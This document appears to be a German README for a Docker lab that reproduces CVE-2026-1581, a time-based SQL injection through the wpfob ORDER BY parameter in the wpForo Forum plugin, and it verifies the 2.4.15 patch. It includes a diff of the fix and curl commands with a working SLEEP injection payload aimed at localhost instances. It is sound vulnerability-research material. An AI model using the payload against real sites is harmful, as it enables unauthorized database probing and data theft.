
Reproduziert CVE-2026-1581, eine nicht authentifizierte zeitbasierte SQL-Injection in wpForo Forum <=2.4.14, mit einem Docker-Lab und PoC, um die Schwachstelle zu demonstrieren und den Patch zu verifizieren.
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-1581 |
| Plugin | wpForo Forum |
| Betroffene Versionen | <= 2.4.14 |
| Gepatchte Version | 2.4.15 |
| Schwachstellentyp | Nicht authentifizierte zeitbasierte SQL-Injection (ORDER BY) |
| CVSS-Score | 7.5 (Hoch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 ist eine nicht authentifizierte zeitbasierte SQL-Injection-Schwachstelle im wpForo Forum Plugin (<= 2.4.14). Der Parameter wpfob wird in einer ORDER BY-Klausel verwendet, wobei nur eine Textbereinigung angewendet wird. Dadurch kann ein nicht authentifizierter Angreifer beliebige SQL-Ausdrücke injizieren und Daten aus der Datenbank auslesen.
Der Hersteller hat dies in Version 2.4.15 behoben, indem sanitize_text_field() durch wpforo_sanitize_orderby() ersetzt wurde, das eine kontextbezogene Whitelist erzwingt.
Nur in localhost + Docker Compose ausführen.
Der PoC ist ein zeitbasierter Timing-Nachweis, um den Unterschied zwischen der verwundbaren und der gepatchten Version zu demonstrieren.
Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden.
Versionsnachweis: Die Seite /community/ lädt /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (verwundbar) vs. 2.4.15 (gepatcht).
Code-Nachweis: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Verhaltensnachweis: wpfob=modified,(SELECT SLEEP(5)) verursacht eine ~5s-Verzögerung auf der verwundbaren Version; die gepatchte Version antwortet nahe der Baseline.
Das CVE-Advisory gibt nur an, dass es sich um eine zeitbasierte SQL-Injection über den Parameter wpfob handelt, die in 2.4.15 behoben wurde. Zum Zeitpunkt der Analyse war kein öffentlicher PoC verfügbar.
Dieser Bericht wurde daher durch Source-Code-Diffing zwischen 2.4.14 und 2.4.15 erstellt, wobei der Parameter von der HTTP-Eingabe über die Bereinigung bis zu dem Punkt verfolgt wurde, an dem er zur Konstruktion der SQL-Abfrage verwendet wird — um die Ursache zu verstehen und das Problem zu reproduzieren.

wpfobAusgehend von einem grep nach wpfob im Quellcode wurde festgestellt, dass die Seite Recent den Wert direkt aus einem GET-Parameter übernimmt und ihn als orderby-Argument zuweist.

Verwundbar (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Gepatcht (2.4.15) — gleiche Datei, Bereiniger ersetzt:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
Warum der Fokus auf
recent.php? Weil es sich um eine auslösbare Route handelt, bei derwpfobdirekt$args['orderby']zugewiesen wird.
ORDER BY ...Sobald $args['orderby'] gesetzt ist, fließt es in den Query-Builder von wpForo, um die ORDER BY-Klausel zu konstruieren.
ORDER BY-Verkettung (verwundbar 2.4.14)
classes/Topics.php:

classes/Posts.php:

Erklärung
sanitize_text_field() entfernt/bereinigt nur die Zeichenkette — es erzwingt keine Whitelist der erlaubten Spaltennamen.orderby direkt in ORDER BY <orderby> verkettet wird, kann ein Angreifer beliebige SQL-Ausdrücke an der ORDER BY-Position injizieren.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()Version 2.4.15 führt einen kontextbezogenen Whitelist-Bereiniger ein, der den Standardwert zurückgibt, wenn die Eingabe nicht in der erlaubten Liste enthalten ist:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — verwendet wp-cli, um WordPress zu installieren, das Plugin zu installieren, die Seite /community/ mit dem [wpforo]-Shortcode zu erstellen, Permalinks zu konfigurieren, .htaccess zu generieren und Verifikationsartefakte zu erstellen.Aus der Lektüre des Quellcodes geht hervor, dass wpfob explizit auf der Seite recent verwendet wird:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedVor dem Test müssen mindestens 1 Thema und 1 Beitrag vorhanden sein.
ORDER BY-Ausdruck möglicherweise nicht aus, und es wird keine Verzögerung beobachtet — ein falsch negatives Ergebnis.Mindestens 1 Thema und 1 Beitrag sind erforderlich.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Erwartet
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ Baseline (keine Verzögerung)
8081 (verwundbar), 8082 (gepatcht)docker-compose.ymlscripts/seed-wp.shAus dem Projektordner:
docker compose up -d
Prüfen Sie, dass beide Instanzen erreichbar sind:
http://localhost:8081/community/http://localhost:8082/community/Und die Recent-Seite:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Erforderlich für Reproduzierbarkeit und zur Vermeidung falsch negativer Ergebnisse.
# 1) Zähler prüfen (verwundbar)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) 1 Thema und 1 Beitrag einfügen (verwundbar)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Für die gepatchte Instanz ersetzen Sie seed_vuln durch seed_patched.
Die Verwendung einer virtuellen Umgebung wird empfohlen:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# verwundbar
python3 poc.py http://localhost:8081
# gepatcht
python3 poc.py http://localhost:8082

docker compose down -v